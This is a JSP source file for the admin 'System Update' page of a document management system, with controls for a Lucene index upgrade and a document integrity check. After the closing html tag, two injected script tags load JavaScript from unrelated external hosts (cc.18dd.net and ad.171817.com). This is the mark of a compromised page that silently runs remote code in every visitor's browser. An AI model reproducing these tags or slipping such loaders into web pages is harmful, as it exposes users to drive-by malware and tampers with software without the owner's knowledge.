<%@ page contentType="text/html; charset=utf-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%!
	
%>
<%
  if (((SessionContainer)request.getSession().getAttribute(GlobalConstant.SESSION_CONTAINER_KEY))==null || ((SessionContainer)request.getSession().getAttribute(GlobalConstant.SESSION_CONTAINER_KEY)).getUserRecord()==null) {
    response.sendRedirect(request.getContextPath()+"/Login.do?action=expire&url=jsp/dms/SystemUpdater.jsp");
    return;
  }

  String database = "";
  String databaseInfo = "";
  String jdk      = "";

  /*
  SessionContainer sessionContainer = null;
  Connection conn = null;
  try {
    sessionContainer = (SessionContainer)session.getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
    conn = DataSourceFactory.getConnection();

    DatabaseMetaData metaData = conn.getMetaData();
    String dbName = metaData.getDatabaseProductName();
    String dbVersion = metaData.getDatabaseMajorVersion()+"."+metaData.getDatabaseMinorVersion();
    database = dbName + " " + dbVersion;
    if (dbName.indexOf("MySQL")!=-1 && metaData.getDatabaseMajorVersion()<5) {
      databaseInfo = "(<font color='red'>Database version need to update.</font>)";
    }

    
	
    //LuceneConverter converter = new LuceneConverter(sessionContainer, conn);
    //converter.reIndexLucene();
  }catch (Exception ex) {
    
  }finally {
    try {conn.close();} catch (Exception ignore) {}
  }
  */
%>

<html>
<head>
<title>System transfer</title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<style>
body {
  font-family: Courier New;
}
table {
  background-color: #999999;
}
th {
  background-color: #DDDDFF;
}
td {
  background-color: #FFFFDD;
}
</style>
<script type="text/javascript" src="<%=request.getContextPath()%>/js/Framework.js"></script>
<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/interface/SystemUpdater.js"></script>
<script type="text/javascript" src="<%=request.getContextPath()%>/dwr/engine.js"></script>

<script type="text/javascript" language="javascript">
<!--
  var timer = null;

  //update lucene begin
  var totalRecord = 0;

  function startUpdateLucene() {
    var backupPath = document.forms["systemTransfer"].backupIndexPath.value;
    var updateLucene = document.forms["systemTransfer"].updateOldLucene.checked;
    if (backupPath=="") {
      alert("Backup index path is required.");
      return;
    }
    if (confirm("Start update lucene version?")) {
      FindObj("btnUpdateLucene").disabled = true;
      showLuceneUpdateMessage();
      SystemUpdater.startRunUpdater(replyFun01, backupPath, updateLucene);
    }
  }

  function showLuceneUpdateMessage() {
    try {
      SystemUpdater.getLuceneUpdateMessage(replyFun02);
      timer = setTimeout(showLuceneUpdateMessage, 100);
    }catch (e) {
      window.clearTimeout(timer);
    }
  }

  function replyFun01(data) {
    window.clearTimeout(timer);
    if (data.indexOf("ERROR")!=-1) {
      alert(data);
      FindObj("btnUpdateLucene").disabled = false;
    }else {
      FindObj("btnUpdateLucene").disabled = false;
      FindObj("progress").style.width = 398;
      FindObj("pecentageText").innerText = "100%";
      totalRecord = parseInt(data);
      FindObj("fileUpdateText").innerText = totalRecord+"/"+totalRecord;
    }
  }

  function replyFun02(data) {
    try {
      var num = data.split("/");
      var percentage = parseInt(num[0])*100/parseInt(num[1]);
      if (totalRecord==0) totalRecord = parseInt(num[1]);

      var pecentageText = FindObj("pecentageText");
      var fileUpdateText = FindObj("fileUpdateText");
      var progress = FindObj("progress");
      if (percentage) {
        pecentageText.innerText = parseInt(percentage)+"%";
        progress.style.width = parseInt(percentage/100 * 398);
        fileUpdateText.innerText = data;
      }
    }catch (ex) {
      
    }
  }
  //update lucene end

  //dms checking start
  var totalRecordDmsChecker = 0;

  function startDmsChecker() {
    FindObj("btnRunDmsChecker").disabled = true;
    showDmsCheckerMessage();
    SystemUpdater.startRunChecker(replyFun03);
  }

  function showDmsCheckerMessage() {
    SystemUpdater.getDmsCheckMessage(replyFun04);
    timer = setTimeout(showDmsCheckerMessage, 100);
  }

  function replyFun03(data) {
    window.clearTimeout(timer);
    FindObj("btnRunDmsChecker").disabled = false;
    FindObj("progressDmsChecker").style.width = 398;
    FindObj("pecentageTextDmsChecker").innerText = "100%";
    FindObj("fileRunTextDmsChecker").innerText = totalRecordDmsChecker+"/"+totalRecordDmsChecker;
    if (data!=null) {
      var message = data.split(";");
      var txt = "";
      for (var i=0; i<message.length; i++) {
          var sum = message[i].split(":");
          if (sum[1]>0) {
            txt += '<a href="javascript:view(\''+sum[0]+'\');">';
            txt += '<font color="red">'+sum[1]+'</font> '+getTitle(sum[0]);
            txt += '</a>';
          }else {
            txt += '<font color="blue">'+sum[1]+'</font> '+getTitle(sum[0]);
          }
          txt += '<br>';
      }
      FindObj("reportDmsChecker").style.display = "block";
      FindObj("reportDmsChecker").innerHTML = txt;
    }
  }

  function replyFun04(data) {
    try {
      var num = data.split("/");
      var percentage = parseInt(num[0])*100/parseInt(num[1]);
      if (totalRecordDmsChecker==0) totalRecordDmsChecker = parseInt(num[1]);

      var pecentageText = FindObj("pecentageTextDmsChecker");
      var fileUpdateText = FindObj("fileRunTextDmsChecker");
      var progress = FindObj("progressDmsChecker");
      if (percentage) {
        pecentageText.innerText = parseInt(percentage)+"%";
        progress.style.width = parseInt(percentage/100 * 398);
        fileUpdateText.innerText = data;
      }
    }catch (ex) {
      alert(ex);
    }
  }

  function getTitle(lstName) {
    var title = null;
    switch (lstName) {
      case '<%=DmsChecker.LIST_NO_BASE_PATH%>': title = 'Document(s) Have Not Base Root(root_id)';break;
      case '<%=DmsChecker.LIST_NO_PHYSICAL_FILE%>': title = 'Document(s) Have Not Physical File';break;
      case '<%=DmsChecker.LIST_SHORTCUT_NO_TARGET%>': title = 'Shortcut(s) Have Not Target Document';break;
      case '<%=DmsChecker.LIST_DUPLICATE_NAME%>': title = 'Document(s) Have Duplicated Name';break;
      case '<%=DmsChecker.LIST_NO_LUCENE_INDEX%>': title = 'Document(s) Have Not Lucene Index';break;
      case '<%=DmsChecker.LIST_NO_LUCENE_FULLTEXT%>': title = 'Document(s) Have Not Lucene Full Text';break;
      case '<%=DmsChecker.LIST_MULTI_LUCENE_INDEX%>': title = 'Document(s) Have Multi Lucene Index';break;
      //case '<%=DmsChecker.LIST_PROFILE_MISSING%>': title = 'Document(s) Profile Missing';break;
    }
    return title;
  }

  function view(lstName) {
    window.open("ViewReport.jsp?lstName="+lstName+"&title="+getTitle(lstName)+"&data="+new Date());
  }
  //dms checing end
//-->
</script>
</head>
<body>
<form name="systemTransfer" method="post">
<center>
  <h2>System Update</h2>
</center>
<center>
  <div style="width:700" align="left">
    <!--Database: <%=database%> <%=databaseInfo%><br>-->
    JDK: <%=System.getProperty("java.version")%>
  </div>
</center>

<table width="700" cellpadding="3" cellspacing="1" border="0" align="center">
  <tr>
    <th colspan="3">Update Lucene: </th>
  </tr>
  <tr>
    <td>
      <table width="100%" cellpadding="3" cellspacing="1" border="0" align="center">
        <tr>
          <td>
            Backup Path:<input type="text" name="backupIndexPath" value="">
            From 317/319:<input type="checkbox" name="updateOldLucene" value="true">
          </td>
          <td align="right">
            <input id="btnUpdateLucene" type="button" name="updateLucene" value="UPDATE LUCENE" onclick="startUpdateLucene();">

            <!--
            <input type="button" name="getUpdate" value="GET PERCENTAGE" onclick="SystemUpdater.getLuceneUpdateMessage(replyFun02);">
            -->
          </td>
        </tr>
        <tr>
          <td colspan="2">
            <br>
            <div align="center">
              <div align="left" id="progressBar" style="width:400px; background-color:#000000; border:1px solid blue; height:20px;">
                <div id="progress" style="position:absolute; width:0px; background-color:#FF0000; overflow:hidden; height:18px;">
                </div>
                <div style="position:absolute; width:100%; text-align:center; overflow:hidden; height:18px;">
                  <font id="pecentageText" style="color:#FFFFFF; font-family:Courier New;">0%</font>
                </div>
              </div>
            </div>
            <div align="center">
              <font id="fileUpdateText" style="color:#000000; font-family:Courier New;">&nbsp;</font>
            </div>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
<br>
<table width="700" cellpadding="3" cellspacing="1" border="0" align="center">
  <tr>
    <th colspan="3">System Checking </th>
  </tr>
  <tr>
    <td>
      <table width="100%" cellpadding="3" cellspacing="1" border="0" align="center">
        <tr>
          <td align="right">
            <input id="btnRunDmsChecker" type="button" name="updateLucene" value="START CHECKING" onclick="startDmsChecker();">
          </td>
        </tr>
        <tr>
          <td>
            <br>
            <div align="center">
              <div align="left" id="progressBarDmsChecker" style="width:400px; background-color:#000000; border:1px solid blue; height:20px;">
                <div id="progressDmsChecker" style="position:absolute; width:0px; background-color:#FF0000; overflow:hidden; height:18px;">
                </div>
                <div style="position:absolute; width:100%; text-align:center; overflow:hidden; height:18px;">
                  <font id="pecentageTextDmsChecker" style="color:#FFFFFF; font-family:Courier New;">0%</font>
                </div>
              </div>
            </div>
            <div align="center">
              <font id="fileRunTextDmsChecker" style="color:#000000; font-family:Courier New;">&nbsp;</font>
            </div>
          </td>
        </tr>
        <tr>
          <td align="center">
            &nbsp;
            <div align="left" id="reportDmsChecker" style="width:410px; display:none; font-family:Courier New;">
            </div>
          </td>
        </tr>
      </table>
    </td>
  </tr>
</table>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>